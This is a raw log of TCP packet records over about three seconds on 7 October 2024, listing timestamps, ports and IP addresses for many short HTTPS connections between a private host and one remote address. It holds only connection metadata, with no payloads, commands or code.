Oct 7, 2024 03:16:33.443480968 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.443543911 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.444000959 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.444019079 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.455987930 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.456429958 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.456466913 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.456777096 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.456780910 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.545499086 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.545651913 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.545686960 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.545715094 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.545782089 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.545861006 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.545907021 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.545934916 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.545950890 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.548969030 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.548996925 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.549092054 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.549261093 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.549264908 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.566998005 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.567433119 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.567477942 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.567873955 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.567886114 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.584067106 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.584212065 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.584286928 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.584460020 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.584497929 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.584526062 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.584539890 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.587299109 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.587311983 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.587390900 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.587553024 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.587563992 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.669186115 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.669445992 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.669572115 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.669662952 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.669662952 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.669689894 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.669713974 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.672823906 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.672862053 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.672977924 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.673155069 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.673170090 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.807785034 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.808311939 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.808351994 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.808764935 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.808777094 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.906562090 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.906725883 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.906812906 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.906898975 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.906938076 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.906966925 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.906982899 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.909518957 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.909564972 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.909652948 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.909800053 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.909816027 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.013094902 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.013657093 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.013664961 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.014136076 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.014139891 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.113017082 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.113085985 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.113137007 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.113145113 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.113214970 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.113265038 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.113594055 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.113600016 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.113610029 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.113615036 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.119544029 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.119575977 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.119643927 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.119796038 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.119801998 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.196921110 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.197346926 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.197364092 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.197801113 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.197807074 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.266542912 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.266884089 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.266891956 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.267229080 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.267232895 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.297540903 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.297586918 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.297677040 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.297796011 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.297805071 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.297811985 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.297817945 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.300288916 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.300340891 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.300425053 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.300534964 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.300544977 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.326225996 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.326718092 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.326751947 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.326982021 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.326988935 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.371516943 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.371596098 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.371649027 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.371861935 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.371872902 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.371881962 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.371886015 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.374746084 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.374839067 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.374919891 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.375130892 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.375150919 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.434176922 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.434237003 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.434297085 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.434324980 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.434374094 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.434422970 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.434451103 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.434467077 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.434475899 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.434482098 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.437094927 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.437114000 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.437179089 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.437324047 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.437338114 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.576816082 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.577569008 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.577603102 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.578064919 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.578078985 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.680026054 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.680177927 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.680386066 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.680521011 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.680552006 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.680577993 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.680592060 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.684221029 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.684252024 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.684354067 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.684561968 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.684566975 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.759536982 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.760314941 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.760335922 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.760679007 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.760684013 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.857770920 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.857825041 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.857943058 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.858010054 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.858206987 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.858225107 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.858233929 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.858239889 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.861866951 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.861898899 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.861999989 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.862211943 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.862250090 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.931938887 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.932488918 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.932507992 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:34.933203936 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:34.933209896 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.010967016 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.011951923 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.011991978 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.012578964 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.012594938 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.030805111 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.030824900 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.030904055 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.030925989 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.031496048 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.031508923 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.031514883 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.031655073 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.031687021 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.031745911 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.035326958 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.035367012 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.035453081 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.035748959 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.035763979 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.086260080 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.086929083 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.086961031 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.087758064 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.087763071 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.110676050 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.110721111 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.110774994 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.110794067 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.110846043 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.111097097 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.111119032 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.111159086 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.111169100 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.114722013 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.114770889 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.114844084 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.115191936 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.115204096 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.185313940 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.185369015 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.185509920 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.185578108 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.185734987 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.185744047 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.185755014 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.185760021 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.189507961 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.189542055 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.189615965 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.189820051 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.189836025 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.363769054 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.364582062 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.364615917 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.364984989 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.364991903 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.471998930 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.472170115 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.472366095 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.472524881 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.472546101 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.472558975 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.472567081 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.476633072 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.476675987 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.476771116 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.476988077 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.477009058 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.542872906 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.543622971 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.543649912 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.544208050 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.544214964 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.646181107 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.646274090 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.646326065 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.646598101 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.646617889 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.646629095 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.646635056 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.653297901 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.653361082 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.653454065 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.653743029 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.653772116 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.668797970 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.669503927 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.669532061 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.670228958 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.670236111 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.753021955 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.753734112 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.753787994 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.754240036 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.754261971 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.776673079 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.776760101 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.776843071 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.777138948 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.777162075 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.777173042 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.777179003 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.780819893 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.780868053 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.780963898 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.781172037 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.781186104 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.852863073 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.853131056 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.853228092 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.853450060 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.853496075 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.853548050 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.853564978 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.857060909 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.857275963 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.857326984 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.857400894 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.857543945 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.857547045 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.857561111 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.857587099 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.858191967 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.858198881 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.961221933 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.961311102 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.961383104 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.961397886 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.961447954 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.961483955 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.961534023 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.961690903 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.961709023 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.961724997 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.961731911 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.964749098 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.964772940 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:35.964869022 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.965032101 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:35.965045929 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.126904964 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.127372980 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.127403975 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.127842903 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.127849102 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.229288101 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.229372025 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.229461908 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.229484081 CEST	443	49994	13.107.246.45	192.168.2.4
